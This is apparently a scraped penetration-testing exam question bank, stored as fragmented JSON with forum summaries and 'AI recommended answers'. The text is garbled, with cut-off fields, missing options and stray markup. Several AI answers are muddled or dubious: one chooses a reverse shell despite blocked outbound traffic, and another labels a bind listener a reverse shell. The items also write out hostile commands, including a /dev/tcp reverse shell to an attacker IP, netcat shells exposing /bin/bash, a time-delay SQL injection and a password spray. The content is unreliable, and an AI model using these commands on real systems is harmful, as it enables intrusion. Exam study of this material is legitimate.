';IF statement that checks if 1=1 (which is always true)WAITFOR DELAY '0:0:10' command is executed, causing the database to pause for 10 seconds.-- is a comment that ignores the rest of the original query.WAITFOR DELAY command was executed.\n \n\n
\n
\nTherefore, the final answer is B\n
\n\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester would like to crack a hash using a list of hashes and a predefined set of rules. The tester runs the following command:
hashcat.exe -a 0 .\\hash.txt .\\rockyou.txt -r .\\rules\\replace.rule
Which of the following is the penetration tester using to crack the hash?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Based on the internet discussion from Q4 2024 to Q1 2025, the consensus is that the answer to this question is B. Dictionary. The reasoning is based on the provided command, which uses a dictionary attack mode (-a 0) with a wordlist (rockyou.txt) and rules to modify the dictionary words (replace.rule). Therefore, it's a dictionary attack, which is also agreed upon by Bing AI. Some comments suggest that the answer is a hybrid attack, but without further explanation.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the question and discussion, the AI agrees with the suggested answer, B. Dictionary.
\nThe primary reason is the `-a 0` flag in the `hashcat` command, which explicitly specifies the dictionary attack mode. The `rockyou.txt` file is a common wordlist used in dictionary attacks, and the `-r .\\rules\\replace.rule` argument indicates that rules are being applied to the words in the dictionary to generate variations.
\nHere's why the other options are less likely:
\n
\nTherefore, the command clearly uses a dictionary attack with rules applied to the words in the dictionary, making option B the most accurate answer.\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester discovered a vulnerability that has the following CVEs:![](\"topic_1_question_414/image_0.png\"/)
Which of the following CVEs should be remediated first?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is E. CVE-2017-7494 (Remote Code Execution - RCE) should be remediated first, which the reason is that Remote Code Execution vulnerabilities allow attackers to execute arbitrary code on the affected system, potentially leading to full system compromise, making it the highest immediate risk.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant agrees with the suggested answer E (CVE-2017-7494).
\n
\nReasoning: The question asks which CVE should be remediated *first*. Based on the CVSS scores provided in the image, CVE-2017-7494 has a CVSS v3 score of 9.8, indicating a critical vulnerability. This CVE is associated with Samba and allows for remote code execution (RCE). RCE vulnerabilities are generally considered the most severe because they allow an attacker to execute arbitrary code on a vulnerable system, potentially leading to complete system compromise, data theft, or denial of service. Remediation efforts should always prioritize vulnerabilities that pose the greatest risk to the organization.
\n
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing DNS reconnaissance and has obtained the following output using different dig commands:![](\"topic_1_question_415/image_0.png\"/)
Which of the following can be concluded from the output the penetration tester obtained?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D, which the reason is because there is no name server redundancy, with only one listed.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nAfter analyzing the question, provided outputs, and discussion, the AI suggests a different answer than the suggested answer.\n
\nThe AI suggests answer C: The company’s website is hosted at 120.73.220.53.\n
\nReasoning:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tAfter compromising a remote host, a penetration tester is able to obtain a web shell. A firewall is blocking outbound traffic. Which of the following commands would allow the penetration tester to obtain an interactive shell on the remote host?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "bash -i >& /dev/tcp 8443 0>&1", "html": "From the internet discussion, the consensus answer to this question is C. The comments agree with this answer because the question states that outbound traffic is blocked by the firewall, meaning that a reverse shell (which initiates an outbound connection) is not the best approach. Some commenters also suggest that A, the reverse shell, is incorrect because the question specifies outbound traffic is blocked. Another commenter stated that a bind shell, which listens for inbound connections, is required. The key is to bypass the firewall, so the correct answer should reflect the scenario that outbound traffic is blocked.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI assistant disagrees with the suggested answer of C and suggests that the correct answer is A.
\nReasoning:
\nThe question specifies that outbound traffic is blocked by a firewall. This means that the target host cannot initiate connections to the attacker's machine on arbitrary ports. Thus, we need the attacker to listen for connections and the target to connect to the attacker. Options C and D (`nc -vlp 8443 /bin/bash` and `nc -vp 8443 /bin/bash`) attempt to start a netcat listener on the target machine, but this requires inbound access to port 8443, which isn't guaranteed to be open due to the firewall. Option B (`nc -e host 8443 /bin/bash`) is attempting to execute `/bin/bash` and connect back to host on port 8443, which will be blocked by the outbound firewall rule.
\nOption A (`bash -i >& /dev/tcp/<attacker_ip>/8443 0>&1`) attempts to create a reverse shell by redirecting standard input and output to a TCP socket. In a properly configured environment with outbound traffic blocked, this would fail. However, the question only states that outbound traffic is blocked, and we are dealing with a compromised web shell. It is possible that the web server itself is allowed to make outbound connections on certain ports or to certain IP addresses, meaning option A could work if the target firewall is configured to allow the web server to initiate connections to specific ports or IPs.
\nThe most reliable way to bypass the firewall is by using a reverse shell originating from the compromised web server through the existing web shell, if the web server is allowed to make outbound connections.\n
\nReasons for not choosing other options:
\n
\nEven though in a restrictive environment option A might not work, it aligns better with the given scenario of a compromised web shell where outbound access *might* be possible from the web server itself.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA security engineer is working to identify all email servers on a network. Which of the following commands should the engineer use to identify the servers as well as the software version the servers are running?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap 10.0.0.1/24 -sT -sV -p 25,110,143,465,993,995", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is A. nmap 10.0.0.1/24 -sT -sV -p 25,110,143,465,993,995, which the reason is the command utilizes the appropriate nmap flags to scan the specified ports (25, 110, 143, 465, 993, 995) associated with email servers for service and version information, and includes a TCP connect scan to establish a connection to the ports.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer.
\nThe recommended answer is:\n
\nA. nmap 10.0.0.1/24 -sT -sV -p 25,110,143,465,993,995\n
\n\nReasoning:
\nThe goal is to identify email servers and their software versions on a network.
\n
\nWhy other options are incorrect:\n
\nTherefore, option A is the most appropriate command to identify email servers and their software versions.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring the execution of a cloud penetration test, a tester was able to gain an initial footprint on the customer cloud infrastructure. Now the tester wants to scan the cloud resources, possible misconfigurations, and other relevant data that could be exploited. Which of the following tools should the tester most likely use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Nikto", "html": "Agree with Suggested Answer from the internet discussion from Q4 2024 to Q1 2025, the conclusion of the answer to this question is D, which the reason is that Pacu is a framework for penetration testing AWS environments and is used to determine the level of access of the existing user by the iam_enum_permissions module.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is D, Pacu.
\nPacu is the most suitable tool for scanning cloud resources, identifying misconfigurations, and gathering exploitable data during a cloud penetration test, especially within AWS environments. It is specifically designed for AWS penetration testing and provides various modules for enumeration, privilege escalation, and exploitation.
\n Here's a breakdown:
Therefore, Pacu is the most appropriate choice because it's specifically designed for cloud (AWS) penetration testing and provides the necessary modules to accomplish the tester's goals, making it the best choice to scan the cloud resources, possible misconfigurations, and other relevant data that could be exploited.
\nThe other options are not primarily designed for cloud penetration testing.
Citations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester has compromised a customer’s internal network, gaining access to a file server that hosts email server backups. Which of the following is the best tool to assist with data exfiltration?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "SFTP", "html": "From the internet discussion, the conclusion of the answer to this question is A. The comments agree with this answer because SFTP is specifically designed for secure file transfer, making it an ideal tool for transferring large files such as email server backups.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "Based on the question and discussion, the AI recommends choosing option A: SFTP.
\n
\nReasoning:
\nSFTP (Secure File Transfer Protocol) is the most suitable tool for securely exfiltrating data, especially large files like email server backups. It provides encryption and authentication mechanisms to protect the data during transit. Other options are less ideal for this specific purpose.\n
\n
\nReasons for not choosing other options:\n
\nSFTP is designed specifically for secure file transfer.\n
\n\nCitations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester compromised a system and wants to connect to a port on the system from the attacking machine in order to control the system. Which of the following commands should the tester run on the compromised system?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nc 10.0.0.1 5555", "html": "From the internet discussion within a period (e.g. from Q2 2021 to Q1 2025), the conclusion of the answer to this question is D. nc -nvlp 5555 -e /bin/bash, which the reason is that this command sets up a netcat listener on port 5555 and provides an interactive bash shell to the attacker once a connection is established. The other answer, B, although also uses Netcat, is not correct because it initiates the connection from the compromised system instead of listening for it.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer D.
\nThe correct command is `nc -nvlp 5555 -e /bin/bash` because it establishes a listener on the compromised system, allowing the attacker to connect and gain control. The options breakdown is as follows:\n
\nHere is the proper usage of netcat to create a reverse shell listener:
\nOn the compromised machine: `nc -nvlp 5555 -e /bin/bash`
\nOn the attacker machine: `nc [compromised_machine_ip] 5555`\n
Note: The `-e` option is often disabled in modern netcat versions due to security risks. Alternatives, like using `mkfifo` and shell redirection, may be necessary in such cases, but that is outside the scope of this question.
"}, {"folder_name": "topic_1_question_424", "topic": "1", "question_num": "424", "question": "A penetration tester wants to perform a SQL injection test. Which of the following characters should the tester use to start the SQL injection attempt?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to perform a SQL injection test. Which of the following characters should the tester use to start the SQL injection attempt?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Colon", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. Single quote mark, which the reason is that the single quote mark (') helps disrupt the intended SQL query and allows the tester to inject additional SQL commands.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, C. Single quote mark.
\nReasoning: A single quote mark is commonly used to initiate a SQL injection attack because it's used to enclose string literals in SQL queries. By inserting a single quote, the attacker can often break the original query's syntax and inject malicious SQL code. The tester needs to disrupt the intended SQL query and inject additional SQL commands, and the single quote mark can achieve this goal.
\nReasons for not choosing the other options:\n
Therefore, the single quote mark is the most appropriate character to begin a SQL injection attempt.
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an assessment, a penetration tester compromised a mobile application by decompiling the APK binary file. Which of the following was most likely the issue?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Outdated firmware", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is C. Hard-coded credentials, which the reason is when a penetration tester decompiles an APK binary file, they can inspect the application's code and resources. If they find hard-coded credentials (e.g., usernames, passwords, API keys), it can lead to a compromise because these credentials can be used to gain unauthorized access to the application's backend services or databases.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, which is C. Hard-coded credentials.
\nReasoning: Decompiling an APK binary file allows a penetration tester to examine the application's source code and resources. If hard-coded credentials (usernames, passwords, API keys, etc.) are present, they can be easily extracted. These credentials can then be used to gain unauthorized access to the application's backend systems, APIs, or databases, leading to a compromise. This is a common vulnerability in mobile applications.
\nReasons for not choosing other options:\n
\n The presence of hard-coded credentials represents a direct and easily exploitable vulnerability discovered via decompilation.\n
\n\n
\nCititations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester wants to find the password for any account in the domain without locking any of the accounts. Which of the following commands should the tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "enum4linux -u user1 -p /passwordList.txt 192.168.0.1", "html": "\n Agree with Suggested Answer. From the internet discussion from Q4 2024 to Q1 2025, the conclusion of the answer to this question is D, which the reason is it describes a password spraying attack where a single password is tested against a list of users, avoiding account lockouts. CME (CrackMapExec) can be used to perform a password spray attack.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer D.
\nReasoning: The question specifies that the penetration tester wants to find passwords without locking accounts. This indicates a password spraying attack, where a single password is used against multiple accounts to avoid lockout. CrackMapExec (CME) is a tool commonly used for password spraying. Option D, `cme smb 192.168.0.0/24 -u /userList.txt -p Summer123`, tests the password \"Summer123\" against a list of users in the specified network range, making it a password spraying attack.
\nWhy other options are not correct:
\n
\nSuggested Answer: D\n
\n\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is testing an Android application. Which of the following specialized tools would be best to use during the test?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Burp Suite", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. Drozer, which the reason is Drozer is specifically designed for assessing the security of Android applications, allowing penetration testers to explore the app's attack surface and identify vulnerabilities.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer.
\nThe recommended answer is B. Drozer because Drozer is specifically designed for Android application security testing. It helps penetration testers identify vulnerabilities by interacting with the Dalvik VM, exploring attack surfaces, and using exploits.
\nHere's why the other options are less suitable:\n
\nReasoning:\nThe key to this question is identifying the tool specifically designed for Android application security assessments. Drozer fits this description perfectly.\n
"}, {"folder_name": "topic_1_question_428", "topic": "1", "question_num": "428", "question": "Which of the following would be the most efficient way to write a Python script that interacts with a web application?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following would be the most efficient way to write a Python script that interacts with a web application?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Create a class for requests.", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C. Import the requests library, which the reason is the requests library in Python simplifies sending HTTP requests and processing responses, making it user-friendly and commonly employed for interacting with web applications.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, C. Import the requests library.
\nReasoning:\nThe `requests` library in Python is designed specifically for making HTTP requests in a human-friendly way. It abstracts away much of the complexity involved in sending requests and handling responses, making it the most efficient and Pythonic way to interact with web applications from a Python script. Here's a breakdown:\n
\nTherefore, importing and utilizing the `requests` library offers the most efficient, maintainable, and Pythonic approach for a Python script to interact with a web application.\n
\n\nSuggested Answer: C. Import the requests library\n
"}, {"folder_name": "topic_1_question_429", "topic": "1", "question_num": "429", "question": "Given the following finding:Which of the following recommendations should a penetration tester make?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tGiven the following finding:![](\"topic_1_question_429/image_0.png\"/)
Which of the following recommendations should a penetration tester make?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B, which the reason is it's the only answer that makes sense for this attack.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nBased on the provided information and discussion, the AI agrees with the suggested answer, which is B: Improving the account lockout policy.
\n
\nReasoning: The image shows multiple failed login attempts for various usernames. This indicates a brute-force attack is likely in progress. An effective account lockout policy would automatically disable accounts after a certain number of failed login attempts, thus hindering the attacker's ability to gain unauthorized access. This is the most direct and effective mitigation for the scenario presented.
\n
\nWhy other options are less suitable:\n
\nCitations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is enumerating shares and receives the following output:![](\"topic_1_question_430/image_0.png\"/)
Which of the following should the penetration tester enumerate next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. Notes because of the permission to read and write, which the reason is that this option aligns with the requirement of having read and write permissions.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The suggested answer is D (notes) and the AI agrees with this suggestion.
\nReasoning:
\n The question asks what the penetration tester should enumerate next based on the provided output. The key to the answer lies in understanding what a penetration tester would be looking for when enumerating shares. They would be most interested in shares that allow them to write data, as this could potentially lead to code execution or other forms of exploitation.
\n Looking at the output:
\n
\n Therefore, based on the principle of focusing on shares with write access for potential exploitation, the best answer is D.\n
\n\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester gained access to a customer’s internal corporate network via a wireless guest network. The penetration tester’s laptop was blocked by a NAC system after several Nmap scans. Which of the following techniques would be the most effective in evading the organization’s NAC system?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Using only UDP scans", "html": "\n Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B. MAC address spoofing, which the reason is the penetration tester can impersonate a legitimate device on the network by spoofing the MAC address, bypassing the NAC system's security mechanisms. This technique allows the tester to continue scanning and exploring the network without being immediately blocked.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\n The AI agrees with the suggested answer, B. MAC address spoofing.
\nReasoning: MAC address spoofing allows the penetration tester to change the Media Access Control (MAC) address of their network interface card (NIC) to mimic a known, trusted device on the network. Network Access Control (NAC) systems often use MAC addresses as one factor in determining whether to allow a device network access. By spoofing the MAC address, the tester can potentially bypass the NAC system's restrictions. This enables the tester to continue their assessment without being immediately blocked.
\nWhy other options are not the best:\n
\nIn summary, MAC address spoofing directly addresses the NAC system's likely method of identification and blocking, making it the most effective technique for evasion in this scenario.\n
\n\n Citations:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is performing an assessment for an organization and must gather valid user credentials. Which of the following attacks would be best for the tester to use to achieve this objective?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Wardriving", "html": "From the internet discussion, the conclusion of the answer to this question is B, which the reason is because deauthentication attacks do not gather credentials. Furthermore, option C is incorrect because it suggests a more complex scenario involving captive portals or phishing, which is not a direct method for credential gathering via deauthentication.\n
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer, which is B (Captive portal).
\nThe best attack for a penetration tester to use to gather valid user credentials among the given options is a captive portal. A captive portal can be configured to require users to enter credentials (username and password) or other information before granting access to the network. This allows the tester to directly collect the credentials entered by the users.
\nHere's why the other options are less suitable:\n
\n Captive portals are commonly used in public Wi-Fi hotspots and can be easily set up by penetration testers to simulate real-world scenarios and test user security awareness.\n
\n\n Captive portals are often used to collect credentials, thus making option B the correct answer.\n
\n\n
\n\n Deauthentication attacks do not gather credentials; they only force users to disconnect and reconnect, which is why option C is incorrect.\n
\n\n The discussion correctly identifies that deauthentication alone doesn't gather credentials, but it somewhat overcomplicates the explanation by mentioning captive portals or phishing in relation to deauthentication. While deauthentication can be a *part* of a phishing attack (forcing a disconnect to make a user more likely to connect to a malicious AP), a captive portal is a separate attack vector altogether, and the question asks for the *best* direct method for credential gathering.\n
\n\nThe reasoning given in the discussion summary is partially correct, but it could be clarified for better understanding.\n
\n\n
\n\n
\n\n
\n\n
\n\n
\n\n
"}, {"folder_name": "topic_1_question_433", "topic": "1", "question_num": "433", "question": "A penetration tester would like to monitor the requests sent by Nikto with Burp Suite. Which of the following tools should the penetration tester use?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester would like to monitor the requests sent by Nikto with Burp Suite. Which of the following tools should the penetration tester use?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Impacket tools", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. ProxyChains, which the reason is ProxyChains can be configured to route Nikto's requests through Burp Suite, allowing the penetration tester to monitor and analyze the HTTP traffic.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer D. ProxyChains.
\nReasoning: The question asks for a tool that allows a penetration tester to monitor Nikto's requests using Burp Suite. ProxyChains is designed for this purpose. It forces any TCP connection made by any given application to follow a chain of proxies, such as Burp Suite. By configuring ProxyChains, all of Nikto's traffic can be routed through Burp Suite, allowing the tester to intercept, inspect, and modify the requests.
\nWhy other options are incorrect:\n
\nSuggested Answer: D\n
"}, {"folder_name": "topic_1_question_434", "topic": "1", "question_num": "434", "question": "Which of the following approaches would be the most appropriate for a penetration tester who is doing a one-week timeboxed assessment for a large electronics retail business with hundreds of locations around the world?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tWhich of the following approaches would be the most appropriate for a penetration tester who is doing a one-week timeboxed assessment for a large electronics retail business with hundreds of locations around the world?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Testing virtually with no on-site activities", "html": "\n The AI agrees with the suggested answer B. Given the constraints of a one-week timeboxed assessment for a large electronics retail business with hundreds of locations, testing on a limited sample of retail locations is the most appropriate approach.
\nReasoning:
\n
\n Citations:\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tDuring an engagement, a penetration tester runs a command and receives the following output:![](\"topic_1_question_435/image_0.png\"/)
Which of the following is the most likely reason the penetration tester received the output above?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is B, which the reason is that the application retrieved sensitive credentials, such as an AccessKeyId, SecretAccessKey, and Token. This behavior is consistent with querying the cloud provider's metadata service, which often exposes these types of credentials.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer, which is B.
\nReasoning: The output displays what appear to be cloud provider credentials (AccessKeyId, SecretAccessKey, and Token). Cloud environments often have metadata services that provide information about the instance, including temporary credentials. The presence of these credentials strongly indicates that the application queried the cloud provider's metadata service.
\nWhy other options are less likely:\n
\nSuggested Answer: B\n
"}, {"folder_name": "topic_1_question_436", "topic": "1", "question_num": "436", "question": "A penetration tester is assessing the security of a client’s externally facing cloud infrastructure. After running reconnaissance, the tester notices that several services and systems are exposed, including a web server, application server, storage buckets, and an unknown portal requiring authentication. After closely examining each of the exposed resources, the tester stumbles upon confidential documents available without any security controls. Which of the following is the most likely reason the resources are exposed?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is assessing the security of a client’s externally facing cloud infrastructure. After running reconnaissance, the tester notices that several services and systems are exposed, including a web server, application server, storage buckets, and an unknown portal requiring authentication. After closely examining each of the exposed resources, the tester stumbles upon confidential documents available without any security controls. Which of the following is the most likely reason the resources are exposed?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "IAM misconfiguration", "html": "Agree with Suggested Answer. From the internet discussion, the conclusion of the answer to this question is D. Object storage misconfiguration, which the reason is that in cloud environments, storage buckets must be configured correctly to prevent public access unless intended. Misconfigurations can expose sensitive data to the internet without security controls.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI assistant agrees with the suggested answer of D. Object storage misconfiguration.
\nReasoning: The scenario describes a penetration tester finding confidential documents available without security controls in a client's externally facing cloud infrastructure. This strongly suggests that object storage buckets, a common method for storing files in the cloud, have been misconfigured to allow public access. Object storage services, like AWS S3, Azure Blob Storage, and Google Cloud Storage, require explicit configuration to control access. If these configurations are not properly set, the contents of the buckets can be exposed to the internet.
\nWhy other options are less likely:\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is working to identify non-relational databases on the 10.0.0.1/24 subnet as well as the version of software. Which of the following commands should the tester use to achieve the objective?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap 10.0.0.1/24 -p 3306 --script=mysql*", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is B. Non-relational databases, which the reason is that non-relational databases, or NoSQL databases, are specifically designed to handle data not organized in the traditional relational database format. These databases use different data models like document-based, key-value stores, column-family stores, or graph databases. Additionally, other options contain SQL databases that are relational.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, which is B. nmap 10.0.0.1/24 -p 27017 --script=mong*.
\nThe reason for this choice is that the question specifically asks for identifying *non-relational* databases. MongoDB, which typically runs on port 27017, is a popular NoSQL (non-relational) database. The nmap command uses the `mong*` script to attempt to identify MongoDB instances and their versions.
\nThe reason for not choosing the other answers are:
\n
\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester is trying to identify the host’s OS version on the subnet 10.7.8.1/25. Which of the following commands will achieve the objective the fastest?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "nmap -sT 10.7.8.1/25", "html": "Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is C, which the reason is because both the command nmap -O and nmap -A will enumerate operating systems and versions. However, the -A flag enables version scanning (-sV), script scanning (-sC) and traceroute, making it an overall slower scan, so -O is the fastest scan.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer C.
\nThe question asks for the fastest way to identify the host's OS version. The command `nmap -O 10.7.8.1/25` is specifically designed for OS detection. While other options might provide OS information, they also perform additional scans that are not required for the specific objective, making them slower.
\n
\nReasoning:
\n
In summary: The best command for identifying the OS version on the subnet 10.7.8.1/25 the fastest is: `nmap -O 10.7.8.1/25` because it is specifically designed for OS detection and doesn't perform unnecessary additional scans.\n
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester obtains the hash of a service account within a customer’s Active Directory. Which of the following attacks should the penetration tester attempt next?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Password spraying", "html": "From the internet discussion from Q1 2025 to Q1 2025, the conclusion of the answer to this question is A, which the reason is the question is asking what the next step would be after obtaining a hash. Another opinion mentioned that the next step is to attempt to use the cracked password on other accounts via password spraying. D, Kerberoasting, is not correct because the hash has already been obtained, so there is no need to request a service ticket. Other options such as password spraying, golden ticket, and cache poisoning are not related to the obtained hash or the context of the question.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer A (Password spraying).
\nReasoning: The question describes a scenario where a penetration tester has obtained the hash of a service account. The most logical next step would be to attempt to crack the hash and, if successful, use the cracked password to attempt to log in to other accounts. This is precisely what password spraying involves: using a known (or cracked) password against multiple accounts to see if it works.
\nWhy other options are incorrect:\n
\n The reasoning is based on the principles of penetration testing and common attack methodologies.\n
\nSuggested Answer: A
\n\n
\nCitations:
\n\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester issues the following command after obtaining a low-privilege reverse shell: wmic service get name,pathname,startmode
Which of the following is the most likely reason the penetration tester ran this command?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
Agree with Suggested Answer From the internet discussion, the conclusion of the answer to this question is D. To find services that have unquoted service paths, which the reason is that unquoted service paths can be exploited if there are spaces in the service path and insufficient permissions are set on the directories in the path. This allows an attacker to place a malicious executable in one of the directories, which will be executed with the service's privileges.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "The AI agrees with the suggested answer, D: To find services that have unquoted service paths.
\nReasoning:
\nThe `wmic service get name,pathname,startmode` command is commonly used in penetration testing to identify potential privilege escalation vulnerabilities related to unquoted service paths. The command retrieves the service name, the path to the executable, and the startup mode for each service on the system. Unquoted service paths, especially those containing spaces, can be exploited if an attacker can place a malicious executable in a directory within the unquoted path. When the service starts, Windows may incorrectly interpret parts of the path as executable names, potentially executing the malicious code with elevated privileges.
\nWhy other options are incorrect:
\n
\nIn summary, the `wmic service get name,pathname,startmode` command is most likely used to identify unquoted service paths, a common vulnerability for privilege escalation on Windows systems.\n
"}, {"folder_name": "topic_1_question_445", "topic": "1", "question_num": "445", "question": "For an engagement, a penetration tester is required to use only local operating system tools for file transfer. Which of the following options should the penetration tester consider?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tFor an engagement, a penetration tester is required to use only local operating system tools for file transfer. Which of the following options should the penetration tester consider?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "Netcat", "html": "From the internet discussion, the consensus of the answer to this question is A, which the reason is that Netcat is native on many Linux and Unix-like systems, and WinSCP is not native to Windows machines OS.
", "source": "process_discussion_container.html + LM Studio"}, "ai_recommended_answer": "\nThe AI agrees with the suggested answer of A (Netcat).
\nReasoning: The question specifies using only local operating system tools for file transfer. Netcat is a versatile command-line utility that is often pre-installed or easily installed on various operating systems, including Linux and Unix-like systems. It can be used for various networking tasks, including file transfer. WinSCP and Filezilla are third-party applications that are not typically included in the default operating system installation. Netstat is a command-line tool used for displaying network connection information and is not used for file transfer.
\nWhy other options are incorrect:\n
\nSince the question asked about using local operating system tools for file transfer, only Netcat fits the description.\n
"}, {"folder_name": "topic_1_question_447", "topic": "1", "question_num": "447", "question": "A penetration tester accessed a database and viewed all the user information in order to access an application. However, the passwords for the application did not work. Which of the following is most likely the issue in this situation?", "question_html": "\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\tA penetration tester accessed a database and viewed all the user information in order to access an application. However, the passwords for the application did not work. Which of the following is most likely the issue in this situation?\n\t\t\t\t\t\t\t\n\t\t\t\t\t\t
", "options": [{"letter": "A", "text": "The application changes passwords often.", "html": "From the internet discussion, the conclusion of the answer to this question is C, which the reason is the question implies that the password is in plaintext which means that they probably grabbed an outdated password and that's why it won't work.
